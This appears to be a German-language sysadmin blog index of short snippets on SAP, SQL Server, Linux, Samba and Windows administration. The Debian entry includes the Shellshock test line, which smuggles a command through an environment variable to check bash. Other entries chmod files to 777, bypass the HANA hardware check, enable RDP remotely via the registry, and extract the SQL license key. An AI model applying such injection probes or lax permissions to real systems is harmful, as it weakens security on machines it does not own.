Vorsicht bei Datenbank kompression (umzug von SQL Ent. auf SQL Std.) !!!
Dazu folgendes Script ausführen (https://made4you.domain.com/docs/DOC-10295):
Das SQL Trans Log auf Simple stellen und ggf. ein Log Shrink durchführen !!!!

DECLARE @Compressiontype VARCHAR(5)
SET @Compressiontype = ‘NONE’
SELECT ‘ALTER INDEX ALL ON
[‘ + SCHEMA_NAME (schema_id)+’].[‘+ name + ‘]
REBUILD WITH (DATA_COMPRESSION = ‘...

Read More

SAP troubleshooting

ERROR 2011-07-28 15:51:24.358 FCO-00011  The step createAccounts with step key
|NW_Onehost|ind|ind|ind|ind|0|0|NW_Onehost_System|ind|ind|ind|ind|2|0|
NW_Users_Create_Do|ind|ind|ind|ind|5|0|createAccounts was executed with status ERROR .

Überprüfen ob die Password Komplexität der Domain Policy entspricht

Read More

Spool Error

SGEN -> spool Errors

Hello everybody !

I tried a load generation “SGEN”. After 5 minutes,
the job aborted and I get these errors:
“ERROR => rspogus__get_uniq_spoolnumber: Spool voll? [rspospno.c   349]”
and
“Error Code SPOOL_INTERNAL_ERROR.”
as seen in ST11 trace log files.

Does anybody have an idea, how I can resolv this errors ?

Best Regards
Alex

Here my log trace
#####################################################################################################

S Wed Feb 16 11:50:39 2011
S  *** ERROR => rspogus__get_uniq_spoolnumber: Spool voll? [rspospno.c   349]
A  TH VERBOSE LEVEL FULL
A  ** RABAX: level LEV_RX_PXA_RELEASE_MTX entered.
A  ** RABAX: level LEV_RX_PXA_RELEASE_MTX completed.
A  ** RABAX: level LEV_RX_COVERAGE_ANALYSER entered.
A ...

Read More

SAP Unicode Probleme

“r3trans -d” -> “2EETW000 I have some problems during TADIR access” Non-Unicode Kernel bei Unicode SAP. Lösung Kernel richtig korrigieren.
You can goto the DB view TRDIR & give field UCCHECK = ‘X’ to see the program which have this attribute turned on.
M$ SQL Server “SELECT * FROm <SID>.TRDIR” flag UCCHECK mit X
Im SAP Tr. “UCCHECK”
Generell Erkennt man Non-Unicode und Unicode System am Character Set einer Tabelle.
NVARCHAR = Unicode und VARCHAR = Non-Unicode.

SQL Query:

###########################################
use ALM
setuser ‘alm’
go
exec sp_help T000
go
###########################################

MANDT    nvarchar
MTEXT    nvarchar
ORT01    nvarchar
MWAER    nvarchar
ADRNR    nvarchar
CCCATEGORY    nvarchar

ODER

MANDT    varchar
MT...

Read More

SAP Hana Installation

Hana Installation auf SLES on VMware with no HW Check.

mind. 24 GB RAM sonst funktioniert die Installation nicht. Install Guide Seite 7.
Für ein funktionierendes NW7.4 benötigt man mind. 50GB Ram.

HW Check aushebeln
“vi /sapdb_backup/hana_platform_edt/DATA_UNITS/HDB_SERVER_LINUX_X86_64/server/HanaHwCheck.py” -> alle “retrun -1” in “return 0” umwandeln.

“chmod 777 /sapdb_backup/hana_platform_edt/DATA_UNITS/HDB_SERVER_LINUX_X86_64/instruntime/sdbrun”
“chmod 777 /sapdb_backup/hana_platform_edt/DATA_UNITS/HDB_SERVER_LINUX_X86_64/hdb*”

Mem Check deaktivieren
“/sapdb_backup/hana_platform_edt/DATA_UNITS/HDB_SERVER_LINUX_X86_64/hdbsetup –ignore=check_min_mem”

Wizard folgen.

Tips:
http://scn.sap...

Read More

SAP Netweaver Installation auf openSuse

SAP NETWEAVER 7.3 64 Bit (mind. 200GB)
aut openSuse 11.3 64 Bit

Linux Installation siehe entsprechende Doku

libjpeg:
“lynx http://libjpeg.sourceforge.net/”
“tar -xzf jpegsrc.v6b.tar.gz”
“cd jpeg-6b”
“cp -frv /usr/bin/libtool* .”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-shared”
“make”
“make install”
“ln -s /usr/local/lib/libjpeg.so.62 /usr/lib64/libjpeg.so.62”

Eventuell libpng12-0 aus Yast2 installieren
“ln –s /usr/lib64/libpng12.so.0 /usr/lib64/libpng.so.3”

libpng (für MaxDB 7.8 wird explizit die Version 1.2.XX benötigt):
“lynx http://libpng.sourceforge.net/”
“tar -xzf libpng-1.2.44.tar.gz”
“cd libpng-1.2.44”
“./configure” oder bei SuSE “...

Read More

SAP Netweaver 7.3 mit sybase ASE Datenbank

Operating System
VersionSupported
Sybase ASE 15.7
SLES11, SP1
RHEL 6T
check the operating system version, enter the following command:
cat /etc/* -release
Inst Guide Seite 21 (unten)

Installation von “sybase_adaptive_server_enterprise_15.7”
Guide: “http://infocenter.sybase.com/help/index.jsp?topic=/com.sybase.dc37776_1110/html/connpb/connpb134.htm”
Prerequirements: http://infocenter.sybase.com/help/index.jsp?topic=/com.sybase.infocenter.dc30119.1570/doc/html/jon1256241632272.html

SLES SAP Spezifikationen via Yast2 installieren

“cd ../sap_source/sybase_adaptive_server_enterprise_15.7/SYBASE_LINUX_X86_64/”
“chmod 777 setup.bin” besser “chmod 777 -R root:root ../sap_source/”
“chmod -R root:root ../sap_source/”

#ABAP Stack######################

SAP User Passwort:...

Read More

SAP upgrade von 620 nach 640

Upgrade 6.20 (470×200) auf 6.40 (SAP NetWeaver’04 -> 640)
ERP 4.0 auf ERP 5.0

Ausgangsversion
SAP R/3 Enterprise

SAP_BASIS    620    0067    SAPKB62067    SAP Basis Component
SAP_ABA    620    0067    SAPKA62067    Cross-Application Component
SAP_APPL    470    0028    SAPKH47028    Logistics and Accounting
SAP_HR    470    0050    SAPKE47050    Human Resources
ABA_PLUS    100    0018    SAPKGPBA18    PLUGIN ZU ABA_PLUS
EA-IPPE    200    0023    SAPKGPIB23    EA-IPPE 200 : Add-On Installation
PI    2004_1_470    0009    SAPKIPZI59    R/3 Plug-In (PI) 2004.1 for R/3 Enterpri
PI_BASIS    2004_1_620    0010    SAPKIPYI5A    Basis Plug-In (PI_BASIS) 2004_1_620
EA-APPL ...

Read More

SAP ERP 6.0 Installation

Installation von ERP 6.0 auf Linux (SLES 11 SP1)

SLES DVD Images in VMwareESX einbinden und von DVD booten.

Installationsprozess starten


Tastaturlayout wählen


DVD Medien Check (Kann übersprungen werden)


Installationsmodus Auswählen (Neuinstallation)


Zeitzone bestimmen


Server Basis Szenario auswählen (Physical Machine)


Partitionierung des Systems


SLES Vorschlag ignorieren und selbst erstellen (Partitionen ausreichend dimensionieren)

root / 20 GB (enthält auch Boot Parameter/Kernel Image, es ist nicht notwendig eine Boot Partition zu erstellen.)

/usr mind. 150 GB (hier liegt dann die Datenbank und das SAP System)

Rest als SWAP anlegen.

Zu installierende Komponenten auswä...

Read More

SAP Kernel patch Linux

Aktuellsten Kernel herunterladen

Alle SAP dienste und Prozesse beenden.

“su – SIDadm”
“disp+work” laufende Kernel Version herausfinden.

als root Kernel Backupen und neusten Kernel nach

“/sapmnt/TR1/exe/uc/linuxx86_64/”
ggf. “/sapmnt/TR1/exe/disp+work”
Bei SolMan “/sapmnt/ITS/exe” und ERP 6

kopieren

“./saproot.sh”.
ggf. “chown -R <sid>adm:sapsys /sapmnt/TR1/exe/uc/linuxx86_64/”

“su – sidadm”
“disp+work” funktioniert nur korrekt unter sidadm da unter root die path variablen nicht korrekt gesetzt sind.

Read More

csh DISPLAY

setenv DISPLAY 10.0.56.36:0.0

DISPLAY neu starten oder killen.
/etc/init.d/xdm status (stop und start)
oder
kill /usr/bin/gnome-session
oder
kill /usr/bin/X

/usr/bin/gnome-session –autostart=/usr/share/gdm/autostart/LoginWindow/
/usr/lib/gnome-settings-daemon/gnome-settings-daemon –gconf-prefix=/apps/gdm/simple-greeter/settings-manager-plugins
/usr/bin/X :1 -br -verbose -auth /var/run/gdm/auth-for-gdm-TYlAlu/database -nolisten tcp vt8

##################################
Auf der Console
als root “cp -frv /root/.Xautority /home/itsadm”
“chmod 777 /home/itsadm/.Xautority”
dann “su – itsadm” und “setenv DISPLAY:0.0”

Read More

SAP on Linux on VMware

VM Konfiguieren (ESXi 4.0)

1122388 – Linux: Konfigurationsrichtlinien für VMware vSphere

Festplattenaufteilung:
OS
boot (5GB)
root (75 GB)
SWAP (25 GB)
DB
DB Files
jeweisl 9 a 8GB Files pro Platte (90 GB)
Log Files 2 a 4 GB ( 10 GB)
DB Backup (150 GB) Thin Provisioniering

Für jeder Platte einen Seperaten SCSI Controller verwenden (SCSI-Controller (PVSCSI)) ( VMware Paravirtual http://kb.vmware.com/kb/1010398)
(den Protokoll-E/A-Traffic vom Datendatei-E/A-Traffic durch separate virtuelle SCSI-Controller zu trennen)
(http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1037094)

vmxnet3-Netzwerkkarte (http://kb.vmware.com/kb/1001805)

Um dieser Richtlinie Nachdruck zu verleihen, wird
empfohlen, die “Speicherreservierung”...

Read More

SAP on Windows on VMware

SAP on Windows on VMware

VM normal erstellen
Controller PAravitualized kein Thin Provisioning.
https://websmp230.sap-ag.de/sap%28bD1kZSZjPTAwMQ==%29/bc/bsp/spn/sapnotes/index2.htm?numm=0001056052&nlang=D
http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1010398
Treiber für Win liegt auf dem Floppy Driver unter im VMware Datastore (/vmimages/floppies/ )

Für SQL DB und Log Files sowei /usr/sap einen eigenen Controller einbauen.

Read More

Apache 1 für SAP

gdbm & gdbm-devl via Yast installieren

“tar -xzf apache_1.3.42.tar.gz”
“cd apache_1.3.42”
664384 – Generierungshinweise Apache Webserver für SAP Content Server
“mkdir /usr/apache”
“./configure –prefix=/usr/apache –enable-module=most –enable-shared=max”
“make”
“make install”
“./src/helpers/binbuild.sh”
“/usr/apache/bin/apachectl start”

Read More

SAP GUI unter Linux

Mindesten Java 6:
java version “1.6.0_23”
Java(TM) SE Runtime Environment (build 1.6.0_23-b05)
Java HotSpot(TM) 64-Bit Server VM (build 19.0-b09, mixed mode)

“java -jar GuiStartS.jar”    Installation dann wie oben starten
oder falls schon installiert
[root@wdf-alw04]: /opt/SAPClients/SAPGUI7.20rev5/bin # ./guistart  /H/10.0.8.27/S/3200

Read More

SAP Solution Manager 7.1 Installation MSSQL

SM1

DAAadm als lokalen Administrator hinzufügen

Ausgangsversion:
SAP_BASIS    702    0009    SAPKB70209    SAP Basis Component
SAP_ABA    702    0009    SAPKA70209    Cross-Application Component
PI_BASIS    702    0009    SAPK-70209INPIBASIS    Basis Plug-In
ST-PI    2008_1_700    0005    SAPKITLRD5    SAP Solution Tools Plug-In
SAP_BS_FND    702    0007    SAPK-70207INSAPBSFND    SAP Business Suite Foundation
SAP_BW    702    0009    SAPKW70209    SAP Business Warehouse
SAP_AP    700    0026    SAPKNA7026
WEBCUIF    701    0006    SAPK-70106INWEBCUIF    SAP Web UI Framework
BBPCRM    701    0006    SAPKU70106    BBPCRM
BI_CONT    706    0002    SAPK-7060...

Read More

SAP SolMan EWA

Sattelitensystem via

Unter SolMan 7.1
Auf dem Satellitensystem:
RZ70
Host       wdf-smp02 (Solution Manager)
Service    sapgw00
Aktivieren und Start des Datenkollektor

hinzufügen.

Job ausführen
LANDSCAPE FETCH
SAP_SLD_DATA_COLLECT
SAP_LMDB_NOTIFY_LDB_0000000001
SAP_LMDB_LDB_0000000001
LANDSCAPE FETCH

http://wdf-itsm01.de.domain.net:50000/sld
User: J2EE_ADMIN ->
“Technische Systeme” Checken ob das System hier auftacht.

/nLMDB System checken und Product System anlegen (Manuell)
ggf.RFC Connections hinzufügen

Diagnostic Agent auf Sateliten System Installieren
Download http://wiki.sdn.sap.com/wiki/display/SMSETUP/Diagnostics+Agents
SAPinst ausführen (next,netx,next) http://wiki.sdn.sap.com/wiki/display/SMSETUP/Installation+of+SMD+Agent
User: daaadmm
...

Read More

SAP SolMan Satellitensystem hinzufügen

Auf dem Satellitensystem:

Host       wdf-smp02 (Solution Manager)
Service    sapgw00
Aktivieren und Start des Datenkollektor

SolMan (HSK)
Entweder warten bis der “LANDSCAPE_FETCH” automatisch gestartet wird oder manuell antriggern dazu
SM37 -> Job -> Einplanung wiederholen -> Sofort -> Job periodisch ausführen [Häckechen raus]
SMSY
Nun sollte der Server unter “Landschaftskomponenten” -> “Server” auftauchen.
Unter “Landschaftskomponenten” -> “Produktsysteme” rechte Maustate und “Neues Produktsystem anlegen”
Wizard folgen und die entsprechenen Einträge machen.
Dann auf die SID klicken und unter Reiter “Auswahl von Produktinstazen” noch die relevanten Systeme anklicken.

Nun unter “Systemgruppen und logische Komponenten” -> [(SAP Netweaver->Applicatio...

Read More

SAP SolMan eMail Notification

//Bei W2K3
//als Windows Dienst erstellen “runas /user:Administrator “INSTSRV.EXE CRM_Async_Checker C:\Program Files (x86)\Windows Resource Kits\Tools\srvany.exe” ”
//Bei W2K8
//” runas /user:Administrator “sc create SAP_eMail_Notification binPath= E:\Service_Desk_eMail_Notification_add_on\srvany.exe DisplayName= “SAP_eMail_Notification” ” ”
//Regedit öffnen und HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CRM_async_checker auswaehlen. Key hinzufügen -> “Parameters” -> Dann unter Parameters -> Strin Value -> “Application” mit Pfad zum CRM_Async_Checker. http://support.microsoft.com/kb/137890

//To DO:
//Parameteruebergabe fue eMail Empfaenger, SQL Datenbank/Tabelle und Check Interval
//Bessere Fehlertolleranz

//C++_CLI Header
#include “stdafx.h”

//St...

Read More

SAP Unattended Installation

Unbeaufsichtigte SAPinst Installation

950619 – Installation of SAP Systems with Unattended Mode

Sämtliche Logs löschen. Löschen von C:\Program Files\sapinst_instdir und C:\Documents and Settings\..\temp
Aus dem Master Template SAPinst Verzeichnis die statistic<123usw.>.xml löschen

Java & MSSQL(geht auf via special perl script) laut Master Guide installieren.

host Datei anpassen

#Für SAP Installation##
Der Hostname sollte die SID nicht enthalten und umgekehrt
Bei ändern der Parameter unbedingt auf groß und kleinschreibung der SID und des Hostnamen achten !!!!!!!!!!!
[DB Schema klein, DB Name groß]
inifile.xml (SID/Hostname/SolManKey)
keydb.xml (SID/Hostname)
smd.settings (SID/Hostname)

SAPinst start Kommandos:
F:\
cd sap_source
cd abc
F:\sap_source\ins...

Read More

SAP unattended Installation Perl

$parameter = @ARGV;
#print “$parameter\n”;
#print “@ARGV\n”;

$parameter_string_check = join(” “,@ARGV);
#print “$parameter_string_check\n”;

foreach (@ARGV)
{
$parameter = $_;
#print “$parameter\n”;

@parameter_2 = (@parameter_2,$parameter);

#$i++;
#print “$i\n”;

#print “@parameter_2[$1]\n”;

#windows (0);

#print “@parameter_2\n”;
}

#sub windows
#{
#print “$parameter\n”;

open (DATEI, “C:/\Progs_user/\perl/\syscopy_template/\inifile.xml”) or die $!;
#open (DATEI, “C:/\Progs_user/\perl/\syscopy_template/\keydb.xml”) or die $!;

while(<DATEI>)
{
$zeile = ” “;

$zeile = $zeile.$_;

chomp ($zeile);

#$i++;
#print “$i\n”;

@inifile_array = (@inifile_array,$zeile);

#print “$zeile\n”;
}

close (DATEI);

#print “@parameter_2[0]\n”;

#print “@inifile_array\n”;

$inifile_array_laen...

Read More

Samba Cluster How To

Samba Cluster How To

“rsync -avz samba.org::ftp/unpacked/ctdb .” oder “git clone git://git.samba.org/ctdb.git ctdb”
“./autogen.sh”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –localstatedir=/var –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

“wget http://ftp.samba.org/pub/samba/stable/samba-3.5.16.tar.gz”
“tar -xzf samba-3.5.16.tar.gz”
“cd samba-3.5.16”
“cd samba-3.5.16/source”
“./autogen.sh”
“...

Read More

Microsoft Windows Commands

mklink /d “C:\Temp\wdfitfs01\wdf-itfs01” “\\wdf-itfs01\CRM_PRD_DATABASE_BACKUP”

findstr /S “bison” *”

Read More

Microsoft Azure Power Shell

Power Shell für Azure installieren/konnektieren.

Azure Subscription Certs importieren (http://msdn.microsoft.com/en-us/library/dn385850%28v=nav.70%29.aspx) .
Dazu vorher einmal mit dem Stadnard Browser bei Azure anmelden und Session offen
lassen.
Nun in der Azure Power Shell “Get-AzurePublishSettingsFile” (https://manage.windowsazure.com/publishsettings/index?client=powershell) eingeben und den File sicher
wegspeichern.
Jetzt den File importeiren “Import-AzurePublishSettingsFile” und daraufhin den Speicherort angeben.
Mit “Publish-AzureServiceProject -ServiceName” anzeigen lassen. Output gleich:

#############################
PS C:\Downloads> Get-AzureSubscription

SubscriptionId            : 557c28e2-069e-42b3-a674-94434ea71028
SubscriptionName    ...

Read More

Microsoft CRM SQL query

USE Firma_MSCRM
SELECT * FROM dbo.AccountBase;

USE Firma_MSCRM
SELECT AccountId FROM dbo.AccountBase WHERE NAME = ‘1&1 Internet AG’ ;            Holt die Account ID raus

USE Firma_MSCRM
SELECT COUNT(*) FROM dbo.EmailBase;                Anzahl der gesammt gesendetten eMails im CRM

###################################################
#Published workflows in waiting status
SELECT t1.workflowactivationid,t2.name,COUNT(t1.workflowactivationid) FROM asyncoperation t1
JOIN workflow t2
ON t2.workflowid = t1.workflowactivationid
WHERE t1.statuscode = 10 –Waiting
AND t1.workflowactivationid IN
(
SELECT workflowid FROM workflow
WHERE name IN (SELECT DISTINCT(name) FROM workflow)
AND statecode = 1 –Published
AND statuscode = 2 –Published
AND rules IS...

Read More

Microsoft CRM 2011 mehr als 250 Datensätze anzeigen

User ID herausfinden:
“SELECT SystemUserId, FullName FROM SystemUser”

Records pro Siete verändern. Leider ist auch hier nur Max 5000 Records möglich
“UPDATE UserSettings SET PagingLimit=100000 WHERE SystemUserId = ‘F17C4154-9151-E111-970D-001E0BD4093A'”

ggf. regedit auf dem CRM Backend Server
HKEY_LOCAL_MACHINE\Software\Microsoft\MSCRM
neues DWORD32 bit “TurnOffFetchThrottling”
Hexwert größer 100000

Read More

RDC via registry anschalten

Man möchte  eine Remote Desktop Verbindung zu einem Computer herstellen und stellt fest, dass auf dem entfernten Computer diese nicht aktiviert ist. Sofern auf dem Remote Computer die Netzwerkregistrierung aktiv ist, lässt sich dies bequem per Registry erledigen:

Regedit starten (Ausführen – regedit.exe)
Datei – “Mit Netzwerkregistrierung verbinden”
Nach [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] wechseln
Den Wert von fDenyTSConnections auf 0 setzen

Das Aktivieren ist auch über die Command Line möglich:

reg add “\\remote-ip\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Und wenn jetzt noch der Remoteuser fehlt, dann kann man diesen auch über die Command Line hinzufügen...

Read More

Microsoft IIS 6 self signed certifcate

IIS 6 Resource Kit installieren

C:\Program Files (x86)\IIS Resources\SelfSSL>selfssl.exe /N:CN=WDF-CRM01QA /K:1024 /V:7 /S:2 /P:443

Read More

Microsoft Domain Policy reset

#######################################################
Reset Domain Policy
1. Log on as a domain administrator to a DC.
2. Start a command session.
3. To reset the Domain GPO, type
dcgpofix /target:Domain
To reset the Default DC GPO, type
dcgpofix /target:DC
To reset both the Domain and Default DC GPOs, type
dcgpofix /target:both4.After you enter the appropriate command in Step 3, enter Y to both prompts.
5. Close the command window.

Use the command-line tool dcgpofix:
http://www.windowsitpro.com/Articles/ArticleID/41878/41878.html

When using Exchange, you should also read the following:
http://support.microsoft.com/kb/833783/en-us
#######################################################

#######################################################
Export Domain Po...

Read More

Debian Security update

Bash Security Check:
“env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” ”

“vi /etc/apt/sources.list” ->
deb http://http.debian.net/debian squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian squeeze-lts main contrib non-free
“apt-get update”
“apt-get upgrade”

Read More

HP Dataprotector Client Installation

Unter OpenSuse

“vi /etc/hosts” ->
10.0.0.110    dwrtcbak.de.firma.net dwrtcbak
“tar -xzf ESD_HP_DP_6.2_for_Linux_TD586_15002_01.tar.gz”
“cd TD586-15002-01”
“cd LOCAL_INSTALL”
Bei CentOS 6.2 vorher xinetd installieren.
GCC installieren
“yum install gcc”
“yum install gcc-c++
“wget http://www.xinetd.org/xinetd-2.3.14.tar.gz”
“tar -xzf xinetd-2.3.14.tar.gz”
“cd xinetd-2.3.14”
64-BIT “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”
“vi /etc/inetd.conf”    ->
omni stream tcp nowait root /opt/omni/lbin/inet inet -log /var/opt/omni//log/inet.log
“vi /etc/xinetd.conf”    ->
#
# xinetd.conf
#
# Copyright (c) 1998-2001 SuSE GmbH Nuernberg, Germany.
# Copyright (c) 2002 SuSE Linux AG, Nuernberg, ...

Read More

XEN unter Ubuntu

Ubuntu Server 12.04 LTS

XEN How To

apt-get update
apt-get install apt-file
apt-file update

Xen Abhängigkeiten:

apt-get install gcc
apt-get install python
apt-get install python-all-dev
apt-get install gettext
apt-get install bin86
apt-get install bcc
apt-get install iasl
apt-get install uuid
apt-get install uuid-dev
apt-get install ncurses-base
apt-get install libncurses5-dev
apt-get install pkg-config
apt-get install libglib2.0-dev
apt-get install libyajl-dev
apt-get install git-all
apt-get install libc6-dev libc6-dev-armel-cross
apt-get install libc6-dev-i386

apt-get install texi2html texinfo texlive-latex-extra automake1.10 make

Optional

apt-get install cmake
apt-get install bison libbison-dev
apt-get install flex libfl-dev
apt-get install ocaml-core ocam...

Read More

Ubuntu Server

Ubuntu Server How To

Standard Einstellungen:
export PROXY_HTTP=http://192.168.5.21:8080
export DISPLAY=10.0.56.13:0.0
“nano /etc/apt/apt.conf” ->
Acquire::http::Proxy “http://192.168.5.21:8080”;
apt-get update
apt-get install vim
apt-get install xterm
apt-get install git
apt-get install lvm2
apt-get install mc
apt-get install gcc g++
apt-get install apt-file
apt-file update
apt-get install cifs-utils
apt-get install smbfs
apt-get install samba
apt-get install smbclient
apt-get install ldap-utils
apt-get install make
apt-get install snmp snmpd

#############################################
Netzwerkkarte konfiguieren:
“vi /etc/network/interfaces” ->
auto lo
iface lo inet loopback
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 10.0.1.253
netmask 2...

Read More

JASIC CAS Windows integrated Auth.

JASIC CAS Windows integrated Auth.

“apt-get install krb5-user krb5-config libpam-krb5”

“vi /var/lib/tomcat6/webapps/cas/META-INF/maven/org.jasig.cas/cas-server-webapp/pom.xml” ->
<dependency>
<groupId>org.jasig.cas</groupId>
<artifactId>cas-server-support-spnego</artifactId>
<version>${cas.version}</version>
</dependency>

“vi /etc/krb5.conf” ->
[logging]
default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log

[libdefaults]
ticket_lifetime = 24000
default_realm = DE.domain.NET
default_keytab_name = /tmp/JIVETEST2-RC4.keytab
dns_lookup_realm = false
dns_lookup_kdc = false
default_tkt_enctypes = rc4-hmac
default_tgs_enctypes = rc4-hmac

[realms]
DE.domain.NET = {
kdc = 10.0.0.32:88
}

[domain_realm]
.de.domain...

Read More

SAP MaxDB

###############################################################
Dantenban (Instanz) anlegen

./dbmcli
db_create testdb dbadmin,test1234
quit
./dbmcli -d testdb -u dbadmin,test1234
param_startsession
param_init
param_put MAXUSERTASKS 5
param_checkall
param_commitsession
param_addvolume 1 LOG LOG_001 F 2000
param_addvolume 1 DATA DAT_001 F 10000
db_admin
db_activate dbm,test1234
db_state
###############################################################

“/sapdb/programs/bin/x_server start” = MaxDB Manuel starten
“/sapdb/programs/bin/x_server stop” = DB stoppen
“/sapdb/programs/bin/x_stop <SID>” = einzenle DB Instanz stoppen

“/sapdb/programs/bin/x_ping -n localhost -d SM5” = Prüfen ob DB läuft
“/sapdb/programs/bin/x_cons ITS sh” = Zeigt alle Data Volumes an
######...

Read More

Microsoft SQL read key

SQL Server key auslesen
In der PowerShell

function Get-SQLserverKey {
## function to retrieve the license key of a SQL 2008 Server.
## by Jakob Bindslet (jakob@bindslet.dk)
param ($targets = “.”)
$hklm = 2147483650
$regPath = “SOFTWARE\Microsoft\Microsoft SQL Server\100\Tools\Setup”
$regValue1 = “DigitalProductId”
$regValue2 = “PatchLevel”
$regValue3 = “Edition”
Foreach ($target in $targets) {
$productKey = $null
$win32os = $null
$wmi = [WMIClass]”\\$target\root\default:stdRegProv”
$data = $wmi.GetBinaryValue($hklm,$regPath,$regValue1)
[string]$SQLver = $wmi.GetstringValue($hklm,$regPath,$regValue2).svalue
[string]$SQLedition = $wmi.GetstringValue($hklm,$regPath,$regValue3).svalue
$binArray = ($data.uValue)[52..66]
$charsArray = “B”,”C”,”D”,”F”,”G”,”H”,”J”,”K...

Read More

Microsoft SQL Datafiles umziehen

Zeigt die Allokierte größe an

SELECT DB_NAME(database_id) AS DatabaseName,
Name AS Logical_Name,
Physical_Name, (size*8)/1024 SizeMB
FROM sys.master_files
WHERE DB_NAME(database_id) = ‘IDE’
GO

Zeigt an zu welchem Grad (in KB) die Data Files gefüllt sind

DBCC SHOWFILESTATS

#####################################################################################################################
rechts klick auf Database -> Reports -> Standard Reports -> Disk Usage

#####################################################################################################################
Datenbank File auf eine Network Share (Samba/NFS) erstellen (SQL 2008 R2 Ent. Edt) (http://blogs.msdn...

Read More

Microsoft SQL Performance

DBCC SQLPERF(LOGSPACE)

BACKUP DATABASE SWP TO DISK= ‘NUL:’ WITH COPY_ONLY        misst die MB/s zum schreiben eines Dummy Backups

Vergelichswerte (Werte von Jürgen Goetzmann):
Meine VM:                           25.197 MB/sec
RTP neu:                             117.743 MB/sec
Bisheriger ‘Spitzenreiter’:         183.666 MB/sec
Hervorragendes System:              1221.664 MB/sec

SAP Systeme
S07 (SQL 2005) auf dem Datenbank Cluste:                    47.559 MB/sec        52.598 MB/sec (als Singel Node auf wdfdv-dbcl02b)
SWP (SQL 2008R2) auf dem SWP ESX Cluster:                    180.355 MB/sec
CRM “FIRMA_MSCRM” (SQL 2005):                        ...

Read More

Microsoft SQL query

SELECT * FROM swp.DNOD_UPDATE WHERE GUIDH = convert(varbinary, 0xE17943F4FB5151F195A4005056A80046);                Binären Wert abrufen.

DBCC Log(Firma_MSCRM) = Zeigt den Inhalt des Transaction Logs an

###############################
#Komplette Datenbank nach dem String “user” durchsuchen.
DECLARE
@search_string    VARCHAR(100),
@table_name        SYSNAME,
@table_id        INT,
@column_name    SYSNAME,
@sql_string        VARCHAR(2000)

SET @search_string = ‘user’

DECLARE tables_cur CURSOR FOR SELECT name, object_id FROM sys.objects WHERE type = ‘U’

OPEN tables_cur

FETCH NEXT FROM tables_cur INTO @table_name, @table_id

WHILE (@@FETCH_STATUS = 0)
BEGIN
DECLARE columns_cur CURSOR FOR SELECT name FROM sys...

Read More

Microsoft SQL disk full

Wenn die Festpllate auf dem das SAP System vollläuft funktioniert das SAP System nicht mehr.
Eine Lösung wäre z.B. :
Ein Fullbackup des ganzen Systems und danach ein Trans Log Backup (auf dem “dwrtcbak” -> Login via Dameware) des Logfiles des SQL Servers.
Dann via Query Analyzer oder SQL Studio folgende SQL Statement absetzten, vorher SAP System STOPPEN.

0.    DBCC LOGINFO
1.    DBCC SQLPERF(LOGSPACE)
2.    DBCC SHRINKFILE(V10LOG1, 1000)
Falls es erfolgreich geshrikt wurde nochmals ( DBCC SQLPERF(LOGSPACE) ) überprüfen
Falls es nicht erfolgreich gelaufen ist dann Punkt 3 ausprobieren.
3.    BACKUP LOG V10LOG1 WITH TRUNCATE_ONLY        (Muss Name der Datenbank sein z.B. C04) AB MSSQL2008 Funktioniert das nicht mehr 🙁 ...

Read More